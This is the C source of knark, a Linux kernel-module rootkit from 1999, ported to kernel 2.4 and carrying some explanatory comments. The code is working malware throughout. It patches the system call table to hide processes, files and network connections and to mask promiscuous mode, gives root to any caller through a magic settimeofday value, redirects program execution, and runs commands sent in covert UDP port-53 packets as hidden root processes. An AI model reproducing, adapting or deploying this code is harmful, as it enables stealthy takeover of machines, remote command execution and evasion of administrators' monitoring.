/* * knark.c, part of the knark package * (c) Creed @ #hack.se 1999 * Ported to kernel 2.4 2001 by cyberwinds@hotmail.com #irc.openprojects.net * * This lkm is based on heroin.c by Runar Jensen, so credits goes to him. * Heroin.c however offered quite few features, and major changes have been * made, so this isn't the same piece of code anymore. * * This program/lkm may NOT be used in an illegal way, * or to cause damage of any kind. * * See README for more info. * For the curious: %hu unsigned short %u unsigned int %lu unsigned long %Lu long long unsigned */ #define __KERNEL_SYSCALLS__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "knark.h" #define PF_INVISIBLE 0x10000000 #define PROC_NET_TCP "tcp" #define PROC_NET_UDP "udp" struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[1]; }; struct linux_dirent64 { u64 d_ino; s64 d_off; unsigned short d_reclen; unsigned char d_type; char d_name[0]; }; extern void *sys_call_table[]; static inline _syscall3(int, getdents, uint, fd, void *, dirp, uint, count); static inline _syscall3(int, getdents64, uint, fd, void *, dirp, uint, count); static inline _syscall2(int, kill, int, pid, int, sig); static inline _syscall3(int, ioctl, unsigned int, fd, unsigned int, cmd, unsigned long, arg); static inline _syscall1(int, fork, int, regs); static inline _syscall1(int, clone, int, regs); static inline _syscall2(int, settimeofday, struct timeval *, tv, struct timezone *, tz); asmlinkage long (*original_getdents)(unsigned int, void *, unsigned int); asmlinkage long (*original_getdents64)(unsigned int, void *, unsigned int); asmlinkage long (*original_kill)(int, int); asmlinkage ssize_t (*original_read)(unsigned int, char *, size_t); asmlinkage long (*original_ioctl)(unsigned int, unsigned int, unsigned long); asmlinkage int (*original_fork)(struct pt_regs); asmlinkage int (*original_clone)(struct pt_regs); asmlinkage int (*original_execve)(struct pt_regs); asmlinkage long (*original_settimeofday)(struct timeval *, struct timezone *); asmlinkage long knark_getdents(unsigned int, void *, unsigned int); asmlinkage long knark_getdents64(unsigned int, void *, unsigned int); asmlinkage int knark_fork(struct pt_regs); asmlinkage int knark_clone(struct pt_regs); asmlinkage long knark_kill(pid_t, int); asmlinkage long knark_ioctl(int, int, long); asmlinkage ssize_t knark_read(int, char *, size_t); asmlinkage int knark_execve(struct pt_regs regs); asmlinkage long knark_settimeofday(struct timeval *, struct timezone *); unsigned int knark_error(char * err_msg); int knark_atoi(char *); void knark_bcopy(char *, char *, unsigned int); struct task_struct *knark_find_task(pid_t); int knark_is_invisible(pid_t); int knark_hide_process(pid_t); int knark_hide_file(struct inode *, struct dentry *); int knark_unhide_file(struct inode *); int knark_secret_file(ino_t, kdev_t); struct knark_dev_struct *knark_add_secret_dev(kdev_t); struct knark_dev_struct *knark_get_secret_dev(kdev_t); int knark_add_nethide(char *); int knark_clear_nethides(void); int knark_add_redirect(struct exec_redirect *); char *knark_redirect_path(char *); int knark_clear_redirects(void); int knark_read_pids(char *, char **, off_t, int, int *, void *); int knark_read_files(char *, char **, off_t, int, int *, void *); int knark_read_redirects(char *, char **, off_t, int, int *, void *); int knark_read_nethides(char *, char **, off_t, int, int *, void *); int knark_read_author(char *, char **, off_t, int, int *, void *); #ifdef FUCKY_REXEC_VERIFY int knark_read_verify_rexec(char *, char **, off_t, int, int *, void *); int knark_write_verify_rexec(struct file *, const char *, u_long, void *); #endif /*FUCKY_REXEC_VERIFY*/ int knark_do_exec_userprogram(void *); int knark_execve_userprogram(char *, char **, char **, int); //int knark_udp_rcv(struct sk_buff *, unsigned short); int knark_udp_rcv(struct sk_buff *); struct inet_protocol * original_udp_protocol; ino_t knark_ino; int errno; /* * Use a different major or minor number if you found knark completely failed on your * system. I found it confusing that proc_roo.rdev shows major 0 minor 0 as its * device signature. */ unsigned short proc_major_dev = 0; unsigned short proc_minor_dev = 4; #ifdef FUCKY_REXEC_VERIFY int verify_rexec = 16; #endif /*FUCKY_REXEC_VERIFY*/ /* Linked lists */ struct redirect_list { struct redirect_list *next; struct exec_redirect rl_er; } *knark_redirect_list = NULL; struct nethide_list { struct nethide_list *next; char *nl_hidestr; } *knark_nethide_list = NULL; /* The following structures are "capped arrays", dynamic arrays designed to grow from 0 length to pre-allocated size. */ /* List of invisible inodes on device */ struct knark_dev_struct { kdev_t d_dev; /* device number */ int d_nfiles; /* number of allocated slots in the "capped arrays" below */ ino_t d_inode[MAX_SECRET_FILES]; char *d_name[MAX_SECRET_FILES]; }; /* Per-device lists of invisible files hang off this struct */ struct knark_fs_struct { int f_ndevs; struct knark_dev_struct *f_dev[MAX_SECRET_DEVS]; } *kfs; struct execve_args { char *path; char **argv; char **envp; }; struct proc_dir_entry * knark_dir; struct proc_dir_entry * knark_pids; struct proc_dir_entry * knark_files; struct proc_dir_entry * knark_redirects; struct proc_dir_entry * knark_nethides; struct proc_dir_entry * knark_author; #ifdef FUCKY_REXEC_VERIFY struct proc_dir_entry * knark_verify_rexec; #endif /*FUCKY_REXEC_VERIFY*/ struct inet_protocol knark_udp_protocol = { &knark_udp_rcv, NULL, NULL, IPPROTO_ICMP, 0, NULL, "ICMP" }; unsigned int knark_error(char * err_msg){ return EINVAL; } int knark_atoi(char *str) { int ret = 0; while (*str) { if(*str < '0' || *str > '9') return -EINVAL; ret *= 10; ret += (*str - '0'); str++; } return ret; } void knark_bcopy(char *src, char *dst, unsigned int num) { while(num-- > 0) *(dst++) = *(src++); } /* This is not a real strcmp - this never returns 1 */ int knark_strcmp(const char *str1, const char *str2) { while(*str1 && *str2) if(*(str1++) != *(str2++)) return -1; return 0; } /* The task list is circular, so this works */ struct task_struct *knark_find_task(pid_t pid) { struct task_struct *task = current; do { if(task->pid == pid) return task; task = task->next_task; } while(current != task); return NULL; } /* Invisibility flag is hidden among other legit process flags, according to PF_INVISIBLE */ int knark_is_invisible(pid_t pid) { struct task_struct *task; if(pid < 0) return 0; if( (task = knark_find_task(pid)) == NULL) return 0; /* // use a kernel func instead :) // if( (task = find_task_by_pid(pid)) == 0x0) // return 0; */ if(task->flags & PF_INVISIBLE) return 1; return 0; } /* Set the invis flag, see above */ int knark_hide_process(pid_t pid) { struct task_struct *task; if( (task = knark_find_task(pid)) == NULL) return 0; task->flags |= PF_INVISIBLE; return 1; } /* Allocate another "capped array" for hidden files and initialize it to zero length, and zero it out. Return NULL on failure, pointer to newly allocated "capped array" */ struct knark_dev_struct *knark_add_secret_dev(kdev_t dev) { int current_dev = kfs->f_ndevs; /* this slot in the "capped array" is the first empty slot */ int ndevs = kfs->f_ndevs; struct knark_dev_struct **kds = kfs->f_dev; if(ndevs >= MAX_SECRET_DEVS) return NULL; kds[current_dev] = (struct knark_dev_struct *) kmalloc(sizeof(struct knark_dev_struct), GFP_KERNEL); if(kds[current_dev] == NULL) /* allocation failed, alas */ return NULL; kds[current_dev]->d_dev = dev; kds[current_dev]->d_nfiles = 0; /* zero out the per-device hidden files array, and the array of pointers to filenames */ memset(kds[current_dev]->d_inode, 0, MAX_SECRET_FILES * sizeof(ino_t)); memset(kds[current_dev]->d_name, 0, MAX_SECRET_FILES * sizeof(char *)); kfs->f_ndevs++; /* increment the number of allocated per-device "capped arrays" */ return kds[current_dev]; } /* Simply search down the list for device dev, nothing fancy. */ struct knark_dev_struct *knark_get_secret_dev(kdev_t dev) { int ndevs = kfs->f_ndevs; struct knark_dev_struct **kds = kfs->f_dev; int i; for(i = 0; i < ndevs; i++){ if(kds[i]->d_dev == dev) return kds[i]; } return NULL; } /* Double search for the matching pair in the capped arrays above. Return true if the pair is found or false otherwise. */ int knark_secret_file(ino_t inode, kdev_t dev) { int i; int nfiles; struct knark_dev_struct *kds; kds = knark_get_secret_dev(dev); /* search for dev */ if(kds == NULL) return 0; nfiles = kds->d_nfiles; for(i = 0; i < nfiles; i++) /* search for inode on dev */ if(kds->d_inode[i] == inode) return 1; return 0; } /* If this inode is not already in our hide list, add it, and contruct the full pathname from dentry too, if given. */ int knark_hide_file(struct inode *inode, struct dentry *entry) { char *name, *nameptr[16]; int i, len, namelen = 0; struct knark_dev_struct *kds; ino_t ino = inode->i_ino; /* inode number */ kdev_t dev = inode->i_sb->s_dev; /* superblock's device number */ if(knark_secret_file(ino, dev)) /* is this a hidden file already? */ return -1; /* it is not a hidden file yet, add it to proper lists */ kds = knark_get_secret_dev(dev); /* get pointer to device's list of hidden files */ if(kds == NULL) { /* no list of hidden inode for this device yet, */ kds = knark_add_secret_dev(dev); /* allocate it now; -1 if failed */ if(kds == NULL) return -1; } else if(kds->d_nfiles >= MAX_SECRET_FILES) /* another reason for failure */ return -1; /* Newly allocated or existent, add inode number to hidden inodes list for this device. */ kds->d_inode[kds->d_nfiles] = ino; /* add inode to capped array, first free slot */ /* if we were passed a dirent, then set the filename in our structures */ if(entry) { memset(nameptr, 0, 16*sizeof(char *)); /* shouldn't this be NULL, not 0 ? */ /* Navigate up to root directory, recording pointers to intermediate dirs in nameprt, up to depth 16. Why check d_name.len != 1 ? */ for(i = 0; i < 16 && entry->d_name.len != 1 && entry->d_name.name[0] != '/'; i++) { nameptr[i] = (char *)entry->d_name.name; namelen += entry->d_name.len; entry = entry->d_parent; /* parent directory */ } /* now entry points at /'s dentry, i is depth of path, namelen is full pathname length */ namelen += i + 1; /* the '/'s :) -- dirnames in dentries don't include dividing slashes, they must be added to get the full pathname length as a string. */ kds->d_name[kds->d_nfiles] = kmalloc(namelen, GFP_KERNEL); /* allocate space for full pathname */ name = kds->d_name[kds->d_nfiles]; /* save ptr to this space for brevity */ name[0] = '\0'; /* init it to empty string? */ for(i = 0; nameptr[i]; i++) ; /* i becomes depth of path -- we should alerady have it from above ? This depends on zeroing out the nameprt array above. May be buggy if pathname is too deep? */ /* copy all parts of full pathname into allocated space, separating with slashes, to get a proper absolute filename string */ for(i--; i >= 0; i--) { len = strlen(name); name[len] = '/'; strcpy(&name[len+1], nameptr[i]); /* strcpy is heavy inline assembly code, see asm/string.h */ } } else kds->d_name[kds->d_nfiles] = NULL; /* no dirent, set empty name */ return ++kds->d_nfiles; /* um, -> has highest precedence */ } /* Remove inode from hide lists */ int knark_unhide_file(struct inode *inode) { int i; int nfiles; struct knark_dev_struct *kds; ino_t ino = inode->i_ino; kdev_t dev = inode->i_dev; if(!knark_secret_file(ino, dev)) /* not in our list, nothing to do */ return -1; kds = knark_get_secret_dev(dev); /* hidden node list for this device */ if(kds == NULL) return -1; nfiles = kds->d_nfiles; /* linear search */ for(i = 0; i < nfiles; i++) if(kds->d_inode[i] == ino) /* found it, overwrite with the last live entry in list, and "truncate" the list, i.e. reduce the cap in capped array. */ { kds->d_inode[i] = kds->d_inode[nfiles - 1]; /* This is buggy! The inode we are unhiding has an associated pathname string, but it does not get overwritten with the last entry's pathname! */ kds->d_inode[nfiles - 1] = 0; if(kds->d_name[nfiles - 1]) /* if the last file had a full pathname, let it go */ kfree(kds->d_name[nfiles - 1]); return --kds->d_nfiles; /* decrement the number of live entries ("cap") in capped array */ } return -1; } /* Trojaned syscall for reading directory entries. Wraps the real syscall and doctors the result, in the user space buffer. */ asmlinkage long knark_getdents(unsigned int fd, void *dirp, unsigned int count) { int ret; int proc = 0; struct inode *dinode; char *ptr = (char *)dirp; struct dirent *curr; struct dirent *prev = NULL; kdev_t dev; ret = (*original_getdents)(fd, dirp, count); /* real syscall, returns #bytes read */ if(ret <= 0) return ret; /* end of dir, or error */ /* Look up the inode for dir in current process' table by its file descriptor, from files descriptor to directory entry, to its inode. */ dinode = current->files->fd[fd]->f_dentry->d_inode; dev = dinode->i_sb->s_dev; /* know your device */ /* Is this /proc? Is this not excessive? */ if(dinode->i_ino == PROC_ROOT_INO && MAJOR(dinode->i_dev) == proc_major_dev && MINOR(dinode->i_dev) == proc_minor_dev) proc++; /* Examine and doctor the data returned by real syscall in the user space buffer. The buffer has a number of dirents, all of variable lengths, because packed one after another. */ while(ptr < (char *)dirp + ret) /* while there are unread bytes, ret decreases when we doctor buffer, by the number of bytes censored. */ { curr = (struct dirent *)ptr; /* iteration pointer */ /* in /proc, hide dirents of invisible process by pid, and module's own inode (?), else check if this is a hidden file */ if( (proc && (curr->d_ino == knark_ino || knark_is_invisible(knark_atoi(curr->d_name)))) || knark_secret_file(curr->d_ino, dev)) { /* we want to hide this */ if(curr == dirp) /* first dirent struct in buffer */ { ret -= curr->d_reclen; /* doctor the return value too */ knark_bcopy(ptr + curr->d_reclen, ptr, ret); /* overwrite the record to hide with the rest of the buffer. */ continue; } else prev->d_reclen += curr->d_reclen; /* reposition pointer */ } else prev = curr; ptr += curr->d_reclen; } return ret; } /* Same as above, as far as I can see, with 64 at the end :-) */ asmlinkage long knark_getdents64(unsigned int fd, void *dirp, unsigned int count) { int ret; int proc = 0; struct inode *dinode; char *ptr = (char *)dirp; struct linux_dirent64 *curr; struct linux_dirent64 *prev = NULL; kdev_t dev; ret = (*original_getdents64)(fd, dirp, count); if(ret <= 0) return ret; dinode = current->files->fd[fd]->f_dentry->d_inode; dev = dinode->i_sb->s_dev; if(dinode->i_ino == PROC_ROOT_INO && MAJOR(dinode->i_dev) == proc_major_dev && MINOR(dinode->i_dev) == proc_minor_dev) proc++; while(ptr < (char *)dirp + ret) { curr = (struct linux_dirent64 *)ptr; if( (proc && (curr->d_ino == knark_ino || knark_is_invisible(knark_atoi(curr->d_name)))) || knark_secret_file(curr->d_ino, dev)) { if(curr == dirp) { ret -= curr->d_reclen; knark_bcopy(ptr + curr->d_reclen, ptr, ret); continue; } else prev->d_reclen += curr->d_reclen; } else prev = curr; ptr += curr->d_reclen; } return ret; } /* This has much better logic than Synapsis */ asmlinkage int knark_fork(struct pt_regs regs) { pid_t pid; int hide = 0; if(knark_is_invisible(current->pid)) hide++; pid = (*original_fork)(regs); /* If this is a parent process, and it is hidden, then hide child too. This the parent takes care of hiding the child, because all task_struct are visible from kernel. */ if(hide && pid > 0) knark_hide_process(pid); return pid; } /* Verbatim, besides s/fork/clone/ */ asmlinkage int knark_clone(struct pt_regs regs) { pid_t pid; int hide = 0; if(knark_is_invisible(current->pid)) hide++; pid = (*original_clone)(regs); if(hide && pid > 0) knark_hide_process(pid); return pid; } asmlinkage long knark_kill(pid_t pid, int sig) { struct task_struct *task; if(sig != SIGINVISIBLE && sig != SIGVISIBLE) /* regular kill for normal signals */ return (*original_kill)(pid, sig); if((task = knark_find_task(pid)) == NULL) return -ESRCH; if(current->uid && current->euid) /* allow only root to change visibility */ return -EPERM; if(sig == SIGINVISIBLE) task->flags |= PF_INVISIBLE; /* why not use knark_hide_process? */ else task->flags &= ~PF_INVISIBLE; return 0; } /* This function is responsible for hiding/unhiding files, we define and catch our own ioctl command for this. Besides we catch the reported promiscuous bit on success of SIOCGIFFLAGS. This is where hide_file and unhide_file are called -- ioctl provides them with inode number and dentry */ asmlinkage long knark_ioctl(int fd, int cmd, long arg) { int ret; struct ifreq ifr; struct inode *inode; struct dentry *entry; if(cmd != KNARK_ELITE_CMD) /* all normal commands */ { ret = (*original_ioctl)(fd, cmd, arg); if(!ret && cmd == SIOCGIFFLAGS) /* hide promic mode flag */ { copy_from_user(&ifr, (void *)arg, sizeof(struct ifreq)); ifr.ifr_ifru.ifru_flags &= ~IFF_PROMISC; copy_to_user((void *)arg, &ifr, sizeof(struct ifreq)); } return ret; } /* Our special command to hide and unhide files */ if(current->files->fd[fd] == NULL) return -1; entry = current->files->fd[fd]->f_dentry; inode = entry->d_inode; switch(arg) { case KNARK_HIDE_FILE: ret = knark_hide_file(inode, entry); break; case KNARK_UNHIDE_FILE: ret = knark_unhide_file(inode); break; default: return -EINVAL; } return ret; } /* This is simply linked list manipulation. */ int knark_add_nethide(char *hidestr) { struct nethide_list *nl = knark_nethide_list; if(nl->nl_hidestr) { while(nl->next) /* skip to the end of the list */ nl = nl->next; nl->next = kmalloc(sizeof(struct nethide_list), GFP_KERNEL); if(nl->next == NULL) return -1; nl = nl->next; } nl->next = NULL; nl->nl_hidestr = hidestr; return 0; } int knark_clear_nethides(void) { struct nethide_list *tmp, *nl = knark_nethide_list; do { if(nl->nl_hidestr) { putname(nl->nl_hidestr); /* Release filename from kernel space. Cf. SLAB. This has to do with caching and page allocation/vm, see asm/pgalloc.h, called on strings about to be released. */ nl->nl_hidestr = NULL; } nl = nl->next; } while(nl); nl = knark_nethide_list->next; while(nl) { tmp = nl->next; kfree(nl); nl = tmp; } knark_nethide_list->next = NULL; return 0; } asmlinkage ssize_t knark_read(int fd, char *buf, size_t count) { int ret; char *p1, *p2; struct inode *dinode; struct dentry * f_entry; struct nethide_list *nl = knark_nethide_list; ret = (*original_read)(fd, buf, count); if(ret <= 0 || nl->nl_hidestr == NULL) return ret; dinode = current->files->fd[fd]->f_dentry->d_inode; f_entry = current->files->fd[fd]->f_dentry; /* * The /proc file system has a minor number 4 on my system. But this * number could be different on another system. The best way would be * to find out this number and put it as a global variable. * it is checked here, in getdents, and in getdents64 */ if(MAJOR(dinode->i_dev) != proc_major_dev || MINOR(dinode->i_dev) != proc_minor_dev) return ret; if(strncmp(f_entry->d_iname, PROC_NET_TCP, 3) == 0 || strncmp(f_entry->d_iname, PROC_NET_UDP, 3) == 0) { do { while( (p1 = p2 = (char *) strstr(buf, nl->nl_hidestr)) ) { *p1 =~ *p1; while(*p1 != '\n' && p1 > buf) p1--; if(*p1 == '\n') p1++; while(*p2 != '\n' && p2 < buf + ret - 1) p2++; if(*p2 == '\n') p2++; while(p2 < buf + ret) *(p1++) = *(p2++); ret -= p2 - p1; } nl = nl->next; } while(nl && nl->nl_hidestr); } return ret; } int knark_clear_redirects() { struct redirect_list *tmp, *rl = knark_redirect_list; do { if(rl->rl_er.er_from) { putname(rl->rl_er.er_from); rl->rl_er.er_from = NULL; } if(rl->rl_er.er_to) { putname(rl->rl_er.er_to); rl->rl_er.er_to = NULL; } rl = rl->next; } while(rl); rl = knark_redirect_list->next; while(rl) { tmp = rl->next; kfree(rl); rl = tmp; } knark_redirect_list->next = NULL; return 0; } int knark_add_redirect(struct exec_redirect *er) { struct redirect_list *rl = knark_redirect_list; if(knark_strcmp(er->er_from, knark_redirect_path(er->er_from)) || !knark_strcmp(er->er_from, er->er_to)) return -1; if(rl->rl_er.er_from) { while(rl->next) rl = rl->next; rl->next = kmalloc(sizeof(struct redirect_list), GFP_KERNEL); if(rl->next == NULL) return -1; rl = rl->next; } rl->next = NULL; rl->rl_er.er_from = er->er_from; rl->rl_er.er_to = er->er_to; return 0; } char *knark_redirect_path(char *path) { struct redirect_list *rl = knark_redirect_list; do { if(rl->rl_er.er_from && !knark_strcmp(path, rl->rl_er.er_from)) return rl->rl_er.er_to; rl = rl->next; } while(rl); return path; } asmlinkage long knark_settimeofday(struct timeval *tv, struct timezone *tz) { char *hidestr; struct exec_redirect er, er_user; switch((int)tv) { case KNARK_GIMME_ROOT: current->uid = current->euid = current->suid = current->fsuid = 0; current->gid = current->egid = current->sgid = current->fsgid = 0; break; case KNARK_ADD_REDIRECT: copy_from_user((void *)&er_user, (void *)tz, sizeof(struct exec_redirect)); er.er_from = getname(er_user.er_from); er.er_to = getname(er_user.er_to); if(IS_ERR(er.er_from) || IS_ERR(er.er_to)) return -1; knark_add_redirect(&er); break; case KNARK_CLEAR_REDIRECTS: knark_clear_redirects(); break; case KNARK_ADD_NETHIDE: hidestr = getname((char *)tz); if(IS_ERR(hidestr)) return -1; knark_add_nethide(hidestr); break; case KNARK_CLEAR_NETHIDES: knark_clear_nethides(); break; default: return (*original_settimeofday)(tv, tz); } return 0; } asmlinkage int knark_execve(struct pt_regs regs) { int error; char *filename; lock_kernel(); filename = getname((char *)regs.ebx); error = PTR_ERR(filename); if(IS_ERR(filename)) goto out; error = do_execve(knark_redirect_path(filename), (char **)regs.ecx, (char **)regs.edx, ®s); if(error == 0) // current->flags &= ~PF_DTRACE; current->flags &= ~PT_DTRACE; putname(filename); out: unlock_kernel(); return error; } #define BUF_LIMIT (PAGE_SIZE - 80) int knark_read_pids(char *buf, char **start, off_t offset, int len, int * eof, void * data) { struct task_struct *task; if(offset > 0) return 0; if( (task = knark_find_task(1)) == NULL) return 0; len = sprintf(buf, " EUID PID\tCOMMAND\n"); do { if(task->flags & PF_INVISIBLE) len += sprintf(buf+len, "%5d %d\t%s\n", task->euid, task->pid, task->comm); task = task->next_task; } while(task->pid != 1 && len < BUF_LIMIT); *eof = 1; *start = buf; return len; } int knark_read_files(char *buf, char **start, off_t offset, int len, int * eof, void * data) { int n, i; if(offset > 0) return 0; len = sprintf(buf, "HIDDEN FILES\n"); for(n = 0; n < kfs->f_ndevs; n++) for(i = 0; i < kfs->f_dev[n]->d_nfiles; i++) len += sprintf(buf+len, "%s\n", kfs->f_dev[n]->d_name[i]); *eof = 1; *start = buf; return len; } int knark_read_redirects(char *buf, char **start, off_t offset, int len, int * eof, void * data) { int n, tmp=0; struct redirect_list *rl = knark_redirect_list; if(offset > 0) return 0; len = sprintf(buf, "REDIRECT FROM REDIRECT TO\n"); if(rl->rl_er.er_from == NULL) return len; while(rl) { len += tmp = sprintf(buf+len, "%s", rl->rl_er.er_from); n = 30 - tmp; memset(buf+len, ' ', n); len += n; len += sprintf(buf+len, "%s\n", rl->rl_er.er_to); rl = rl->next; } *eof = 1; *start = buf; return len; } int knark_read_nethides(char *buf, char **start, off_t offset, int len, int * eof, void * data) { struct nethide_list *nl = knark_nethide_list; if(offset > 0) return 0; len = sprintf(buf, "HIDDEN STRINGS (without the quotes)\n"); while(nl && nl->nl_hidestr) { len += sprintf(buf+len, "\"%s\"\n", nl->nl_hidestr); nl = nl->next; } *eof = 1; *start = buf; return len; } int knark_read_author(char *buf, char **start, off_t offset, int len, int *eof, void *data) { if(offset > 0) return 0; len = sprintf(buf, "* * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n" "* knark %s by Creed @ #hack.se 1999 *\n" "* Ported to 2.4.x 2001 by cyberwinds@hotmail.com *\n" "* *\n" "* This program may NOT be used in an illegal way *\n" "* or to cause damage of any kind. *\n" "* * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n" ,KNARK_VERSION); *eof = 1; *start = buf; return len; } #ifdef FUCKY_REXEC_VERIFY ssize_t knark_verify_rexec_fops_read(struct file *file, char *buf, size_t len, loff_t *offset) { if(file->f_pos == strlen("fikadags?\n")) return 0; len = sprintf(buf, "fikadags?\n"); file->f_pos = len; return len; } int knark_write_verify_rexec(struct file *file, const char *buf, u_long count, void *data) { int num, n; char buff[16]; n = count<16? count:16; knark_bcopy((char *)buf, buff, n); if(buff[n-1] == '\n') buff[n-1] = '\0'; else buff[n] = '\0'; num = knark_atoi(buff); if(num >= 0 && num <= 16) verify_rexec = num; file->f_pos = count; return count; } int knark_read_verify_rexec(char *buf, char **start, off_t offset, int len, int *eof, void * data) { len = sprintf(buf, "Knark rexec verify-packet must be one of:\n" " 0 ICMP_NET_UNREACH\n" " 1 ICMP_HOST_UNREACH\n" " 2 ICMP_PROT_UNREACH\n" " 3 ICMP_FRAG_NEEDED\n" " 4 ICMP_FRAG_NEEDED\n" " 5 ICMP_SR_FAILED\n" " 6 ICMP_NET_UNKNOWN\n" " 7 ICMP_HOST_ISOLATED\n" " 8 ICMP_HOST_ISOLATED\n" " 9 ICMP_NET_ANO\n" " 10 ICMP_HOST_ANO\n" " 11 ICMP_NET_UNR_TOS\n" " 12 ICMP_HOST_UNR_TOS\n" " 13 ICMP_PKT_FILTERED\n" " 14 ICMP_PREC_VIOLATION\n" " 15 ICMP_PREC_VIOLATION\n" " 16 (don't verify)\n" "\n" "Currently set to: %d\n", verify_rexec); *eof = 1; *start = buf; return len; } #endif /*FUCKY_REXEC_VERIFY*/ int knark_execve_userprogram(char *path, char **argv, char **envp, int secret) { static char *path_argv[2]; static char *def_envp[] = { "HOME=/", "TERM=linux", "PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:" "/usr/bin/X11", NULL }; static struct execve_args args; pid_t pid; if(path) args.path = path; else return -1; if(argv) args.argv = argv; else { path_argv[0] = path; path_argv[1] = NULL; } if(envp) args.envp = envp; else args.envp = def_envp; pid = kernel_thread(knark_do_exec_userprogram, (void *)&args, CLONE_FS); if(pid == -1) return -1; if(secret) knark_hide_process(pid); return pid; } int knark_do_exec_userprogram(void *data) { int i; struct fs_struct *fs; struct execve_args *args = (struct execve_args *) data; lock_kernel(); exit_fs(current); fs = init_task.fs; current->fs = fs; atomic_inc(&fs->count); unlock_kernel(); for(i = 0; i < current->files->max_fds; i++) if(current->files->fd[i]) close(i); current->uid = current->euid = current->fsuid = 0; cap_set_full(current->cap_inheritable); cap_set_full(current->cap_effective); set_fs(KERNEL_DS); if(execve(args->path, args->argv, args->envp) < 0) return -1; return 0; } int knark_udp_rcv(struct sk_buff *skb) { int i, datalen; struct udphdr *uh = (struct udphdr *)(skb->data + 48); char *buf, *data = skb->data + 56; static char *argv[16]; char space_str[2]; if(uh->source != ntohs(53) || uh->dest != ntohs(53) || *(u_long *)data != UDP_REXEC_USERPROGRAM) goto bad; data += 4; datalen = ntohs(uh->len) - sizeof(struct udphdr) - sizeof(u_long); buf = kmalloc(datalen+1, GFP_KERNEL); if(buf == NULL) goto bad; knark_bcopy(data, buf, datalen); buf[datalen] = '\0'; space_str[0] = SPACE_REPLACEMENT; space_str[1] = 0; for(i = 0; i < 16 && (argv[i] = strtok(i? NULL:buf, space_str)) != NULL; i++); argv[i] = NULL; knark_execve_userprogram(argv[0], argv, NULL, 1); #ifdef FUCKY_REXEC_VERIFY if(verify_rexec >= 0 && verify_rexec < 16) icmp_send(skb, ICMP_DEST_UNREACH, verify_rexec, 0); #endif /*FUCKY_REXEC_VERIFY*/ return 0; bad: // return original_udp_protocol->handler(skb); return original_udp_protocol->handler(skb); } #define DMODE S_IFDIR|S_IRUGO|S_IXUGO #define FMODE S_IFREG|S_IRUGO int init_module(void) { inet_add_protocol(&knark_udp_protocol); original_udp_protocol = knark_udp_protocol.next; inet_del_protocol(original_udp_protocol); kfs = kmalloc(sizeof(struct knark_fs_struct), GFP_KERNEL); if(kfs == NULL) goto error; memset((void *)kfs, 0, sizeof(struct knark_fs_struct)); knark_redirect_list = kmalloc(sizeof(struct redirect_list), GFP_KERNEL); if(knark_redirect_list == NULL) goto error; memset((void *)knark_redirect_list, 0, sizeof(struct redirect_list)); knark_nethide_list = kmalloc(sizeof(struct nethide_list), GFP_KERNEL); if(knark_nethide_list == NULL) goto error; memset((void *)knark_nethide_list, 0, sizeof(struct nethide_list)); knark_dir = create_proc_entry(MODULE_NAME, DMODE, &proc_root); if(knark_dir == 0x0) return knark_error("create knark_dir"); knark_ino = knark_dir->low_ino; knark_pids = create_proc_entry("pids", FMODE, knark_dir); if(knark_pids == 0x0) return knark_error("create knark_pids"); knark_pids->read_proc = knark_read_pids; knark_files = create_proc_entry("files", FMODE, knark_dir); if(knark_files == 0x0) return knark_error("create knark_files"); knark_files->read_proc = knark_read_files; knark_author = create_proc_entry("author", FMODE, knark_dir); if(knark_author == 0x0) return knark_error("create knark_author"); knark_author->read_proc = knark_read_author; knark_redirects = create_proc_entry("redirects", FMODE, knark_dir); if(knark_redirects == 0x0) return knark_error("create redirects"); knark_redirects->read_proc = knark_read_redirects; knark_nethides = create_proc_entry("nethides", FMODE, knark_dir); if(knark_nethides == 0x0) return knark_error("create nethides"); knark_nethides->read_proc = knark_read_nethides; #ifdef FUCKY_REXEC_VERIFY knark_verify_rexec = create_proc_entry("verify_rexec", FMODE|S_IWUSR, knark_dir); if(knark_verify_rexec == 0x0) return knark_error("create verify_rexec"); knark_verify_rexec->read_proc = knark_read_verify_rexec; knark_verify_rexec->write_proc = knark_write_verify_rexec; #endif /*FUCKY_REXEC_VERIFY*/ original_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = knark_getdents; original_getdents64 = sys_call_table[SYS_getdents64]; sys_call_table[SYS_getdents64] = knark_getdents64; original_kill = sys_call_table[SYS_kill]; sys_call_table[SYS_kill] = knark_kill; original_read = sys_call_table[SYS_read]; sys_call_table[SYS_read] = knark_read; original_ioctl = sys_call_table[SYS_ioctl]; sys_call_table[SYS_ioctl] = knark_ioctl; original_fork = sys_call_table[SYS_fork]; sys_call_table[SYS_fork] = knark_fork; original_clone = sys_call_table[SYS_clone]; sys_call_table[SYS_clone] = knark_clone; original_settimeofday = sys_call_table[SYS_settimeofday]; sys_call_table[SYS_settimeofday] = knark_settimeofday; original_execve = sys_call_table[SYS_execve]; sys_call_table[SYS_execve] = knark_execve; return 0; error: return -1; } void cleanup_module(void) { int i, n; inet_add_protocol(original_udp_protocol); inet_del_protocol(&knark_udp_protocol); remove_proc_entry("author", knark_dir); remove_proc_entry("redirects", knark_dir); remove_proc_entry("nethides", knark_dir); remove_proc_entry("pids", knark_dir); remove_proc_entry("files", knark_dir); #ifdef FUCKY_REXEC_VERIFY remove_proc_entry("verify_rexec", knark_dir); #endif remove_proc_entry(MODULE_NAME, &proc_root); sys_call_table[SYS_getdents] = original_getdents; sys_call_table[SYS_getdents64] = original_getdents64; sys_call_table[SYS_kill] = original_kill; sys_call_table[SYS_read] = original_read; sys_call_table[SYS_ioctl] = original_ioctl; sys_call_table[SYS_fork] = original_fork; sys_call_table[SYS_clone] = original_clone; sys_call_table[SYS_settimeofday] = original_settimeofday; sys_call_table[SYS_execve] = original_execve; knark_clear_redirects(); kfree(knark_redirect_list); knark_clear_nethides(); kfree(knark_nethide_list); for(i = 0; i < kfs->f_ndevs; i++){ kfree(kfs->f_dev[i]); for(n = 0; kfs->f_dev[i]->d_name; n++) kfree(kfs->f_dev[i]->d_name); } kfree(kfs); } EXPORT_NO_SYMBOLS;